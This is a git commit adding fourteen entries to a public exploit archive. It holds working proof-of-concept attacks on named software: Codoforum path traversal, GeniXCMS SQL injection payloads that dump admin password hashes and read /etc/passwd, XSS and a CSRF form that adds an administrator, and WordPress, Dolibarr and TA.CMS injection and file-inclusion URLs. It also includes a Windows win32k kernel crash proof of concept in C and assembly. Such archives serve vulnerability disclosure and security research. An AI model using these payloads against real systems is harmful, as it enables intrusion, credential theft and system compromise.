Update: 2015-03-12
14 new exploits
This commit is contained in:
Offensive Security
parent
b2e56e1634
commit
db442f2fc9
15 changed files with 625 additions and 0 deletions
14
files.csv
14
files.csv
|
|
@ -32735,3 +32735,17 @@ id,file,description,date,author,platform,type,port
|
||||||
36317,platforms/php/webapps/36317.txt,"WordPress Flexible Custom Post Type plugin 'id' Parameter Cross Site Scripting Vulnerability",2011-11-17,Am!r,php,webapps,0
|
36317,platforms/php/webapps/36317.txt,"WordPress Flexible Custom Post Type plugin 'id' Parameter Cross Site Scripting Vulnerability",2011-11-17,Am!r,php,webapps,0
|
||||||
36318,platforms/windows/remote/36318.txt,"Jetty Web Server Directory Traversal Vulnerability",2011-11-18,"Alexey Sintsov",windows,remote,0
|
36318,platforms/windows/remote/36318.txt,"Jetty Web Server Directory Traversal Vulnerability",2011-11-18,"Alexey Sintsov",windows,remote,0
|
||||||
36319,platforms/windows/remote/36319.txt,"GoAhead WebServer 2.5 'goform/formTest' Multiple Cross Site Scripting Vulnerabilities",2011-11-18,"Prabhu S Angadi",windows,remote,0
|
36319,platforms/windows/remote/36319.txt,"GoAhead WebServer 2.5 'goform/formTest' Multiple Cross Site Scripting Vulnerabilities",2011-11-18,"Prabhu S Angadi",windows,remote,0
|
||||||
|
36320,platforms/php/webapps/36320.txt,"Codoforum 2.5.1 - Arbitrary File Download",2015-03-10,"Kacper Szurek",php,webapps,80
|
||||||
|
36321,platforms/php/webapps/36321.txt,"GeniXCMS 0.0.1 - Multiple Vulnerabilities",2015-03-10,LiquidWorm,php,webapps,80
|
||||||
|
36322,platforms/php/webapps/36322.txt,"Digital Attic Foundation CMS 'id' Parameter SQL Injection Vulnerability",2011-11-20,tempe_mendoan,php,webapps,0
|
||||||
|
36323,platforms/php/webapps/36323.txt,"WordPress Alert Before Your Post Plugin 'name' Parameter Cross Site Scripting Vulnerability",2011-11-21,Am!r,php,webapps,0
|
||||||
|
36324,platforms/php/webapps/36324.txt,"WordPress Advanced Text Widget Plugin 2.0 'page' Parameter Cross Site Scripting Vulnerability",2011-11-21,Amir,php,webapps,0
|
||||||
|
36325,platforms/php/webapps/36325.txt,"WordPress Adminimize Plugin 1.7.21 'page' Parameter Cross Site Scripting Vulnerability",2011-11-21,Am!r,php,webapps,0
|
||||||
|
36326,platforms/php/webapps/36326.txt,"WordPress Lanoba Social Plugin 1.0 'action' Parameter Cross Site Scripting Vulnerability",2011-11-21,Amir,php,webapps,0
|
||||||
|
36327,platforms/windows/dos/36327.txt,"Microsoft Windows XP/7 Kernel 'Win32k.sys' Keyboard Layout Local Privilege Escalation Vulnerability",2011-11-22,instruder,windows,dos,0
|
||||||
|
36328,platforms/php/webapps/36328.txt,"TA.CMS (TeachArabia) index.php id Parameter SQL Injection",2011-11-22,CoBRa_21,php,webapps,0
|
||||||
|
36329,platforms/php/webapps/36329.txt,"TA.CMS (TeachArabia) lang Parameter Traversal Local File Inclusion",2011-11-22,CoBRa_21,php,webapps,0
|
||||||
|
36330,platforms/php/webapps/36330.txt,"Dolibarr 3.1 ERP/CRM Multiple Script URI XSS",2011-11-23,"High-Tech Bridge SA",php,webapps,0
|
||||||
|
36331,platforms/php/webapps/36331.txt,"Dolibarr ERP/CRM /user/index.php Multiple Parameter SQL Injection",2011-11-23,"High-Tech Bridge SA",php,webapps,0
|
||||||
|
36332,platforms/php/webapps/36332.txt,"Dolibarr ERP/CRM /user/info.php id Parameter SQL Injection",2011-11-23,"High-Tech Bridge SA",php,webapps,0
|
||||||
|
36333,platforms/php/webapps/36333.txt,"Dolibarr ERP/CRM /admin/boxes.php rowid Parameter SQL Injection",2011-11-23,"High-Tech Bridge SA",php,webapps,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
34
platforms/php/webapps/36320.txt
Executable file
34
platforms/php/webapps/36320.txt
Executable file
|
|
@ -0,0 +1,34 @@
|
||||||
|
# Exploit Title: Codoforum 2.5.1 Arbitrary File Download
|
||||||
|
# Date: 23-11-2014
|
||||||
|
# Software Link: https://codoforum.com/
|
||||||
|
# Exploit Author: Kacper Szurek
|
||||||
|
# Contact: http://twitter.com/KacperSzurek
|
||||||
|
# Website: http://security.szurek.pl/
|
||||||
|
# Category: webapps
|
||||||
|
# CVE: CVE-2014-9261
|
||||||
|
|
||||||
|
1. Description
|
||||||
|
|
||||||
|
str_replace() is used to sanitize file path but function output is not assigned to variable
|
||||||
|
|
||||||
|
private function sanitize($name) {
|
||||||
|
|
||||||
|
str_replace("..", "", $name);
|
||||||
|
str_replace("%2e%2e", "", $name);
|
||||||
|
|
||||||
|
return $name;
|
||||||
|
}
|
||||||
|
|
||||||
|
http://security.szurek.pl/codoforum-251-arbitrary-file-download.html
|
||||||
|
|
||||||
|
2. Proof of Concept
|
||||||
|
|
||||||
|
http://codoforum-url/index.php?u=serve/attachment&path=../../../../../sites/default/config.php
|
||||||
|
or
|
||||||
|
http://codoforum-url/index.php?u=serve/smiley&path=../../../../../sites/default/config.php
|
||||||
|
|
||||||
|
3. Solution:
|
||||||
|
|
||||||
|
Use patch:
|
||||||
|
|
||||||
|
https://codoforum.com/upgrades/codoforum.v.2.6.up.zip
|
||||||
177
platforms/php/webapps/36321.txt
Executable file
177
platforms/php/webapps/36321.txt
Executable file
|
|
@ -0,0 +1,177 @@
|
||||||
|
?
|
||||||
|
GeniXCMS v0.0.1 Remote Unauthenticated SQL Injection Exploit
|
||||||
|
|
||||||
|
Vendor: MetalGenix
|
||||||
|
Product web page: http://www.genixcms.org
|
||||||
|
Affected version: 0.0.1
|
||||||
|
|
||||||
|
Summary: GenixCMS is a PHP Based Content Management System and Framework (CMSF).
|
||||||
|
It's a simple and lightweight of CMSF. Very suitable for Intermediate PHP developer to
|
||||||
|
Advanced Developer. Some manual configurations are needed to make this application to
|
||||||
|
work.
|
||||||
|
|
||||||
|
Desc: Input passed via the 'page' GET parameter and the 'username' POST parameter is not
|
||||||
|
properly sanitised before being used in SQL queries. This can be exploited to manipulate
|
||||||
|
SQL queries by injecting arbitrary SQL code.
|
||||||
|
|
||||||
|
Tested on: nginx/1.4.6 (Ubuntu)
|
||||||
|
Apache 2.4.10 (Win32)
|
||||||
|
PHP 5.6.3
|
||||||
|
MySQL 5.6.21
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2015-5232
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5232.php
|
||||||
|
|
||||||
|
|
||||||
|
05.03.2015
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
Get admin user/pass hash:
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
http://localhost/genixcms/index.php?page=1' union all select 1,2,(select concat(unhex(hex(cast(user.userid as char))),0x3a,unhex(hex(cast(user.pass as char)))) from `genixcms`.user limit 0,1) ,4,5,6,7,8,9,10 and 'j'='j
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Read file (C:\windows\win.ini) and MySQL version:
|
||||||
|
-------------------------------------------------
|
||||||
|
|
||||||
|
http://localhost/genixcms/index.php?page=1' union all select 1,2,load_file(0x433a5c77696e646f77735c77696e2e696e69),4,@@version,6,7,8,9,10 and 'j'='j
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Read file (/etc/passwd) and MySQL version:
|
||||||
|
------------------------------------------
|
||||||
|
|
||||||
|
http://localhost/genixcms/index.php?page=1' union all select 1,2,load_file(0x2f6574632f706173737764),4,@@version,6,7,8,9,10 and 'j'='j
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Get admin user/pass hash:
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
POST /genixcms/gxadmin/login.php HTTP/1.1
|
||||||
|
Host: localhost
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 335
|
||||||
|
Accept: */*
|
||||||
|
User-Agent: ZSLScan_1.4
|
||||||
|
Connection: Close
|
||||||
|
|
||||||
|
password=1&username=' and(select 1 from(select count(*),concat((select (select (select concat(unhex(hex(cast(user.userid as char))),0x3a,unhex(hex(cast(user.pass as char)))) from `genixcms`.user limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1&login=
|
||||||
|
|
||||||
|
################################################################################################
|
||||||
|
|
||||||
|
GeniXCMS v0.0.1 Persistent Script Insertion Vulnerability
|
||||||
|
|
||||||
|
Vendor: MetalGenix
|
||||||
|
Product web page: http://www.genixcms.org
|
||||||
|
Affected version: 0.0.1
|
||||||
|
|
||||||
|
Summary: GenixCMS is a PHP Based Content Management System and Framework (CMSF).
|
||||||
|
It's a simple and lightweight of CMSF. Very suitable for Intermediate PHP developer to
|
||||||
|
Advanced Developer. Some manual configurations are needed to make this application to
|
||||||
|
work.
|
||||||
|
|
||||||
|
Desc: Input passed to the 'cat' POST parameter is not properly sanitised before being
|
||||||
|
returned to the user. This can be exploited to execute arbitrary HTML and script code
|
||||||
|
in a user's browser session in context of an affected site.
|
||||||
|
|
||||||
|
Tested on: nginx/1.4.6 (Ubuntu)
|
||||||
|
Apache 2.4.10 (Win32)
|
||||||
|
PHP 5.6.3
|
||||||
|
MySQL 5.6.21
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2015-5233
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5233.php
|
||||||
|
|
||||||
|
|
||||||
|
05.03.2015
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
Stored:
|
||||||
|
-------
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://localhost/genixcms/gxadmin/index.php?page=categories" method="POST">
|
||||||
|
<input type="hidden" name="parent" value="2" />
|
||||||
|
<input type="hidden" name="cat" value='"><script>alert(document.cookie)</script>' />
|
||||||
|
<input type="hidden" name="addcat" value="" />
|
||||||
|
<input type="submit" value="Insert" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Reflected:
|
||||||
|
----------
|
||||||
|
|
||||||
|
http://localhost/genixcms/index.php?page=1<script>confirm("ZSL")</script>'
|
||||||
|
|
||||||
|
################################################################################################
|
||||||
|
|
||||||
|
?
|
||||||
|
GeniXCMS v0.0.1 CSRF Add Admin Exploit
|
||||||
|
|
||||||
|
Vendor: MetalGenix
|
||||||
|
Product web page: http://www.genixcms.org
|
||||||
|
Affected version: 0.0.1
|
||||||
|
|
||||||
|
Summary: GenixCMS is a PHP Based Content Management System and Framework (CMSF).
|
||||||
|
It's a simple and lightweight of CMSF. Very suitable for Intermediate PHP developer to
|
||||||
|
Advanced Developer. Some manual configurations are needed to make this application to
|
||||||
|
work.
|
||||||
|
|
||||||
|
Desc: The application allows users to perform certain actions via HTTP requests without
|
||||||
|
performing any validity checks to verify the requests. This can be exploited to perform
|
||||||
|
certain actions with administrative privileges if a logged-in user visits a malicious web
|
||||||
|
site.
|
||||||
|
|
||||||
|
Tested on: nginx/1.4.6 (Ubuntu)
|
||||||
|
Apache 2.4.10 (Win32)
|
||||||
|
PHP 5.6.3
|
||||||
|
MySQL 5.6.21
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2015-5234
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5234.php
|
||||||
|
|
||||||
|
|
||||||
|
05.03.2015
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://localhost/genixcms/gxadmin/index.php?page=users" method="POST">
|
||||||
|
<input type="hidden" name="userid" value="Testingus" />
|
||||||
|
<input type="hidden" name="pass1" value="123456" />
|
||||||
|
<input type="hidden" name="pass2" value="123456" />
|
||||||
|
<input type="hidden" name="email" value="t00t@zeroscience.eu" />
|
||||||
|
<input type="hidden" name="group" value="0" />
|
||||||
|
<input type="hidden" name="adduser" value="" />
|
||||||
|
<input type="submit" value="Forge!" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
7
platforms/php/webapps/36322.txt
Executable file
7
platforms/php/webapps/36322.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
||||||
|
source: http://www.securityfocus.com/bid/50735/info
|
||||||
|
|
||||||
|
Digital Attic Foundation CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
|
||||||
|
|
||||||
|
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
|
||||||
|
|
||||||
|
http://www.example.com/index.php?id=[SQL]
|
||||||
7
platforms/php/webapps/36323.txt
Executable file
7
platforms/php/webapps/36323.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
||||||
|
source: http://www.securityfocus.com/bid/50743/info
|
||||||
|
|
||||||
|
Alert Before Your Post plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||||
|
|
||||||
|
http://www.example.com/[path]/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=[xss]
|
||||||
11
platforms/php/webapps/36324.txt
Executable file
11
platforms/php/webapps/36324.txt
Executable file
|
|
@ -0,0 +1,11 @@
|
||||||
|
source: http://www.securityfocus.com/bid/50744/info
|
||||||
|
|
||||||
|
Advanced Text Widget plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||||
|
|
||||||
|
Advanced Text Widget 2.0.0 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
UPDATE Apr 18, 2012: Further reports indicate the issue reported may not be valid. This BID will be updated as more information emerges.
|
||||||
|
|
||||||
|
http://www.example.com/[path]/wp-content/plugins/advanced-text-widget/advancedtext.php?page=[xss]
|
||||||
9
platforms/php/webapps/36325.txt
Executable file
9
platforms/php/webapps/36325.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
||||||
|
source: http://www.securityfocus.com/bid/50745/info
|
||||||
|
|
||||||
|
Adminimize plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||||
|
|
||||||
|
Adminimize 1.7.21 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
http://www.example.com/[path]/wp-content/plugins/adminimize/adminimize_page.php?page=[xss]
|
||||||
11
platforms/php/webapps/36326.txt
Executable file
11
platforms/php/webapps/36326.txt
Executable file
|
|
@ -0,0 +1,11 @@
|
||||||
|
source: http://www.securityfocus.com/bid/50746/info
|
||||||
|
|
||||||
|
Lanoba Social Plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||||
|
|
||||||
|
Lanoba Social Plugin 1.0 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
UPDATE (Nov 28, 2011): The vendor refutes this issue claiming they are not able to replicate the problem, and all inputs are sanitized. This BID will be updated, and possibly retired pending further information.
|
||||||
|
|
||||||
|
http://www.example.com/[path]/wp-content/plugins/lanoba-social-plugin/index.php?action=[xss]
|
||||||
7
platforms/php/webapps/36328.txt
Executable file
7
platforms/php/webapps/36328.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
||||||
|
source: http://www.securityfocus.com/bid/50773/info
|
||||||
|
|
||||||
|
TA.CMS is prone to multiple local file-include and SQL-injection vulnerabilities.
|
||||||
|
|
||||||
|
An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver.
|
||||||
|
|
||||||
|
http://www.example.com/index.php?p_name=events_item_view&id=17' SQL
|
||||||
7
platforms/php/webapps/36329.txt
Executable file
7
platforms/php/webapps/36329.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
||||||
|
source: http://www.securityfocus.com/bid/50773/info
|
||||||
|
|
||||||
|
TA.CMS is prone to multiple local file-include and SQL-injection vulnerabilities.
|
||||||
|
|
||||||
|
An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver.
|
||||||
|
|
||||||
|
http://www.example.com/?lang=../../../../../../../../../../../../../../../etc/passwd%00.png&p_id=60
|
||||||
16
platforms/php/webapps/36330.txt
Executable file
16
platforms/php/webapps/36330.txt
Executable file
|
|
@ -0,0 +1,16 @@
|
||||||
|
source: http://www.securityfocus.com/bid/50777/info
|
||||||
|
|
||||||
|
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
|
||||||
|
|
||||||
|
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||||
|
|
||||||
|
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected.
|
||||||
|
|
||||||
|
http://www.example.com/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E
|
||||||
|
http://www.example.com/admin/boxes.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3 E
|
||||||
|
http://www.example.com/comm/clients.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29% 3E
|
||||||
|
http://www.example.com/commande/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%2 9%3E
|
||||||
|
http://www.example.com/admin/ihm.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.coo kie%29%3E
|
||||||
|
http://www.example.com/user/home.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.coo kie%29%3E
|
||||||
|
|
||||||
|
Successful exploitation of this vulnerabilities requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")
|
||||||
14
platforms/php/webapps/36331.txt
Executable file
14
platforms/php/webapps/36331.txt
Executable file
|
|
@ -0,0 +1,14 @@
|
||||||
|
source: http://www.securityfocus.com/bid/50777/info
|
||||||
|
|
||||||
|
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
|
||||||
|
|
||||||
|
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||||
|
|
||||||
|
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected.
|
||||||
|
|
||||||
|
http://www.example.com/user/index.php?sall=1%%27%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%201,version%28%29, 3,4,5,6,7,8,9,10,11,12,13,14%20--%20
|
||||||
|
http://www.example.com/user/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HERE
|
||||||
|
http://www.example.com/user/index.php?begin=search_user=&sall=&sortfield=u.login&sortorder=SQL_CO DE_HERE
|
||||||
|
http://www.example.com/user/group/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HERE
|
||||||
|
http://www.example.com/user/group/index.php?begin=search_user=&sall=&sortfield=u.login&sortorder= SQL_CODE_HERE
|
||||||
|
http://www.example.com/user/group/index.php?sall=SQL_CODE_HERE
|
||||||
9
platforms/php/webapps/36332.txt
Executable file
9
platforms/php/webapps/36332.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
||||||
|
source: http://www.securityfocus.com/bid/50777/info
|
||||||
|
|
||||||
|
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
|
||||||
|
|
||||||
|
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||||
|
|
||||||
|
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected.
|
||||||
|
|
||||||
|
http://www.example.com/user/info.php?id=1 INTO OUTFILE '../../../tmp/example'
|
||||||
9
platforms/php/webapps/36333.txt
Executable file
9
platforms/php/webapps/36333.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
||||||
|
source: http://www.securityfocus.com/bid/50777/info
|
||||||
|
|
||||||
|
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
|
||||||
|
|
||||||
|
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||||
|
|
||||||
|
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected.
|
||||||
|
|
||||||
|
http://www.example.com/admin/boxes.php?action=delete&rowid=SQL_CODE_HERE
|
||||||
293
platforms/windows/dos/36327.txt
Executable file
293
platforms/windows/dos/36327.txt
Executable file
|
|
@ -0,0 +1,293 @@
|
||||||
|
source: http://www.securityfocus.com/bid/50763/info
|
||||||
|
|
||||||
|
Microsoft Windows is prone to a local privilege-escalation vulnerability.
|
||||||
|
|
||||||
|
A local attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts may cause a denial-of-service condition.
|
||||||
|
|
||||||
|
Crash:
|
||||||
|
/*
|
||||||
|
win7
|
||||||
|
Access violation - code c0000005 (!!! second chance !!!)
|
||||||
|
win32k!ReadLayoutFile+0x62:
|
||||||
|
9566d591 8b4834 mov ecx,dword ptr [eax+34h]
|
||||||
|
kd> r
|
||||||
|
eax=ffffffe8 ebx=00000000 ecx=fe978b2e edx=000000e0 esi=fe4e0168 edi=00000000
|
||||||
|
eip=9566d591 esp=985ad8a0 ebp=985ad8bc iopl=0 nv up ei pl nz ac pe cy
|
||||||
|
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010217
|
||||||
|
win32k!ReadLayoutFile+0x62:
|
||||||
|
9566d591 8b4834 mov ecx,dword ptr [eax+34h] ds:0023:0000001c=????????
|
||||||
|
|
||||||
|
kd> kb
|
||||||
|
ChildEBP RetAddr Args to Child
|
||||||
|
985acf5c 83d1b083 00000003 bc9827e2 00000065 nt!RtlpBreakWithStatusInstruction
|
||||||
|
985acfac 83d1bb81 00000003 985ad3b0 00000000 nt!KiBugCheckDebugBreak+0x1c
|
||||||
|
985ad370 83d1af20 0000008e c0000005 9566d591 nt!KeBugCheck2+0x68b
|
||||||
|
985ad394 83cf108c 0000008e c0000005 9566d591 nt!KeBugCheckEx+0x1e
|
||||||
|
985ad7bc 83c7add6 985ad7d8 00000000 985ad82c nt!KiDispatchException+0x1ac
|
||||||
|
985ad824 83c7ad8a 985ad8bc 9566d591 badb0d00 nt!CommonDispatchException+0x4a
|
||||||
|
985ad8bc 9566dc6a fe4e0168 80000984 00000160 nt!Kei386EoiHelper+0x192
|
||||||
|
985ad8dc 95669b7b 80000984 00000160 000001ae win32k!LoadKeyboardLayoutFile+0x70
|
||||||
|
985ad968 9567c21e 883bf4b0 80000984 08040804 win32k!xxxLoadKeyboardLayoutEx+0x1be
|
||||||
|
985ad9a4 9566a275 883bf4b0 80000984 08040804 win32k!xxxSafeLoadKeyboardLayoutEx+0x93
|
||||||
|
985add0c 83c7a1ea 00000038 00000160 000001ae win32k!NtUserLoadKeyboardLayoutEx+0x119
|
||||||
|
985add0c 777970b4 00000038 00000160 000001ae nt!KiFastCallEntry+0x12a
|
||||||
|
001ff470 0111c58c 0111c76a 00000038 00000160 ntdll!KiFastSystemCallRet
|
||||||
|
WARNING: Stack unwind information not available. Following frames may be wrong.
|
||||||
|
001ff9f8 0111c956 00000000 00000000 7ffd9000 ms10_73+0x2c58c
|
||||||
|
|
||||||
|
Details：
|
||||||
|
WIN7
|
||||||
|
.text:BF80D538 push eax ; int
|
||||||
|
.text:BF80D539 push 40000h ; int
|
||||||
|
.text:BF80D53E push 40h ; int
|
||||||
|
.text:BF80D540 push [ebp+start_buffer] ; FileHandle
|
||||||
|
.text:BF80D543 mov [ebp+plength], ebx
|
||||||
|
.text:BF80D546 mov [ebp+ppbuffer], ebx
|
||||||
|
.text:BF80D549 mov [ebp+var_10], ebx
|
||||||
|
.text:BF80D54C call _LoadFileContent@20 ; LoadFileContent(x,x,x,x,x)
|
||||||
|
.text:BF80D551 test eax, eax
|
||||||
|
.text:BF80D553 jl loc_BF80D6F1
|
||||||
|
.text:BF80D559 mov ecx, [ebp+ppbuffer] 构造堆地址+3ch处的dword =0xffffffxx 即可绕过检测，导致BSOD
|
||||||
|
.text:BF80D55C mov eax, [ecx+3Ch] //需要猜测堆的地址
|
||||||
|
.text:BF80D55F add eax, ecx
|
||||||
|
.text:BF80D561 cmp eax, ecx
|
||||||
|
.text:BF80D563 jb loc_BF80D6F1
|
||||||
|
.text:BF80D569 mov ecx, [ebp+plength]
|
||||||
|
.text:BF80D56C mov edx, [ebp+ppbuffer]
|
||||||
|
.text:BF80D56F add ecx, edx
|
||||||
|
.text:BF80D571 lea edx, [eax+0F8h]
|
||||||
|
.text:BF80D577 mov [ebp+plength], ecx
|
||||||
|
.text:BF80D57A cmp edx, ecx
|
||||||
|
.text:BF80D57C jnb loc_BF80D6F1
|
||||||
|
.text:BF80D582 mov ecx, [eax+34h] ----->crash
|
||||||
|
|
||||||
|
|
||||||
|
winxp
|
||||||
|
|
||||||
|
.text:BF8821D7 push eax ; ViewSize
|
||||||
|
.text:BF8821D8 push esi ; SectionOffset
|
||||||
|
.text:BF8821D9 push esi ; CommitSize
|
||||||
|
.text:BF8821DA push esi ; ZeroBits
|
||||||
|
.text:BF8821DB lea eax, [ebp+BaseAddress]
|
||||||
|
.text:BF8821DE push eax ; BaseAddress
|
||||||
|
.text:BF8821DF push 0FFFFFFFFh ; ProcessHandle
|
||||||
|
.text:BF8821E1 push [ebp+Handle] ; SectionHandle
|
||||||
|
.text:BF8821E4 call ds:__imp__ZwMapViewOfSection@40 ; ZwMapViewOfSection(x,x,x,x,x,x,x,x,x,x)
|
||||||
|
.text:BF8821EA test eax, eax
|
||||||
|
.text:BF8821EC jl loc_BF88238A
|
||||||
|
.text:BF8821F2 mov ecx, [ebp+BaseAddress]
|
||||||
|
.text:BF8821F5 mov eax, [ecx+3Ch]
|
||||||
|
.text:BF8821F8 add eax, ecx
|
||||||
|
.text:BF8821FA movzx edx, word ptr [eax+6] -----〉crash
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// poc.cpp : 定义控制台应用程序的入口点。
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <ntsecapi.h>
|
||||||
|
|
||||||
|
#pragma comment(lib,"User32.lib")
|
||||||
|
|
||||||
|
#define MAGIC_OFFSET 0x6261
|
||||||
|
#define WIN7 1
|
||||||
|
#define InitializeUnicodeStr(p,s) { \
|
||||||
|
(p)->Length= wcslen(s)*2; \
|
||||||
|
(p)->MaximumLength = wcslen(s)*2+2; \
|
||||||
|
(p)->Buffer = s; \
|
||||||
|
}
|
||||||
|
#if WIN7
|
||||||
|
|
||||||
|
_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
|
||||||
|
(
|
||||||
|
IN HANDLE Handle,
|
||||||
|
IN DWORD offTablelow,
|
||||||
|
IN DWORD offTableHigh,
|
||||||
|
IN PUNICODE_STRING puszKeyboardName,
|
||||||
|
IN HKL hKL,
|
||||||
|
IN PUNICODE_STRING puszKLID,
|
||||||
|
IN DWORD dwKLID,
|
||||||
|
IN UINT Flags
|
||||||
|
)
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax,11E3h
|
||||||
|
mov edx, 7ffe0300h
|
||||||
|
call dword ptr [edx]
|
||||||
|
ret 20h
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
|
||||||
|
(
|
||||||
|
IN HANDLE Handle,
|
||||||
|
IN DWORD offTable,
|
||||||
|
IN PUNICODE_STRING puszKeyboardName,
|
||||||
|
IN HKL hKL,
|
||||||
|
IN PUNICODE_STRING puszKLID,
|
||||||
|
IN DWORD dwKLID,
|
||||||
|
IN UINT Flags
|
||||||
|
)
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, 000011c6h
|
||||||
|
mov edx, 7ffe0300h
|
||||||
|
call dword ptr [edx]
|
||||||
|
retn 1Ch
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
